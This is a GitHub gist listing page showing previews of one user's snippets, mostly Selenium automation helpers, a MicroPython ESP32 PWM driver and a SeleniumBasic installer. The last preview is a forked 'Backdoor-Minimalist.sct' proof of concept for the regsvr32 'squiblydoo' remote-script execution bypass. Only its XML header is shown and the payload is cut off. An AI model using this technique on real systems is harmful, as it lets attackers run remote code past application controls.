Skip to content

Instantly share code, notes, and snippets.

@florentbr
florentbr / #wd-drop-file.py
Last active April 7, 2024 02:56
Selenium - Drop a file from the desktop on a drop area
from selenium import webdriver
from selenium.webdriver.remote.webelement import WebElement
import os.path
# JavaScript: HTML5 File drop
# source : https://gist.github.com/florentbr/0eff8b785e85e93ecc3ce500169bd676
# param1 WebElement : Drop area element
# param2 Double : Optional - Drop offset x relative to the top/left corner of the drop area. Center if 0.
# param3 Double : Optional - Drop offset y relative to the top/left corner of the drop area. Center if 0.
# return WebElement : File input
@florentbr
florentbr / esp32_pwm.py
Last active January 11, 2024 09:56
ESP32 - Low level PWM with hardware ramping
from micropython import const
from machine import Pin, mem32, idle
_DPORT_PERIP_CLK_EN_REG = const(0x3FF000C0)
_DPORT_PERIP_RST_EN_REG = const(0x3FF000C4)
_DPORT_LEDC_RST_MASK = const(1 << 11)
_GPIO_FUNC0_OUT_SEL_CFG_REG = const(0x3FF44530)
_RTC_CNTL_CLK_CONF_REG = const(0x3FF48070)
_LEDC_CONF_REG = const(0x3FF59190)
@florentbr
florentbr / #selenium-chrome-authentication-extension
Last active December 5, 2023 08:49
Chrome extension to automatically set the credentials.
To build the extension, update the username/password and zip `background.js` and `manifest.json` in a single archive.
@florentbr
florentbr / install.cmd
Last active October 5, 2023 22:07
Install SeleniumBasic without admin elevations
::
:: This script installs SeleniumBasic without administrator privileges.
:: It registers a COM API running on the .NET Framework.
::
:: The required files can be extracted with innoextract from the original setup :
:: Selenium.dll Selenium32.tlb Selenium64.tlb Selenium.pdb
::
:: The drivers are not provided. You'll have to download and place the desired driver :
:: * in a folder defined in the "PATH" environment variable
:: * or in this folder before running this script
VERSION 1.0 CLASS
BEGIN
MultiUse = -1 'True
END
Attribute VB_Name = "Dictionary"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_Description = "Collection of keys and items which maps keys to items with a minimum cost O(1)."
@florentbr
florentbr / #drag-drop.py
Last active March 9, 2023 14:48
Selenium - HTML5 drag and drop
from selenium import webdriver
import time
# JavaScript: HTML5 Drag and drop script
# param1 (WebElement): Source element to drag
# param2 (WebElement): Optional - target element for the drop
# param3 (int): Optional - Drop offset x relative to the target if any or source element
# param4 (int): Optional - Drop offset y relative to the target if any or source element
# param4 (int): Optional - Delay in milliseconds (default = 1ms) for dragging and dropping
# param5 (string): Optional - Key pressed (alt or ctrl or shilf)
from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
import os, time, base64
def get_downloaded_files(driver):
if not driver.current_url.startswith("chrome://downloads"):
driver.get("chrome://downloads/")
# disable the file picker
driver.execute_script("""
HTMLInputElement.prototype.click = function () {
if (this.type !== 'file') {
HTMLElement.prototype.click.call(this);
}
else if (!this.parentNode) {
this.style.display = 'none';
this.ownerDocument.documentElement.appendChild(this);
@florentbr
florentbr / #wd-upload-file.py
Last active January 4, 2022 04:27
Selenium - Upload a file
from selenium import webdriver
from selenium.webdriver.remote.webelement import WebElement
from selenium.common.exceptions import NoSuchElementException
import os.path
def upload_files(element, *files):
driver = element.parent
isLocal = not driver._is_remote or '127.0.0.1' in driver.command_executor._url
paths = []
@florentbr
florentbr / Backdoor-Minimalist.sct
Created August 4, 2021 22:08 — forked from enigma0x3/Backdoor-Minimalist.sct
Execute Remote Scripts Via regsvr32.exe - Referred to As "squiblydoo" Please use this reference...
<?XML version="1.0"?>
<scriptlet>
<registration
progid="PoC"
classid="{F0001111-0000-0000-0000-0000FEEDACDC}" >
<!-- Proof Of Concept - Casey Smith @subTee -->
<!-- License: BSD3-Clause -->
<script language="JScript">
<![CDATA[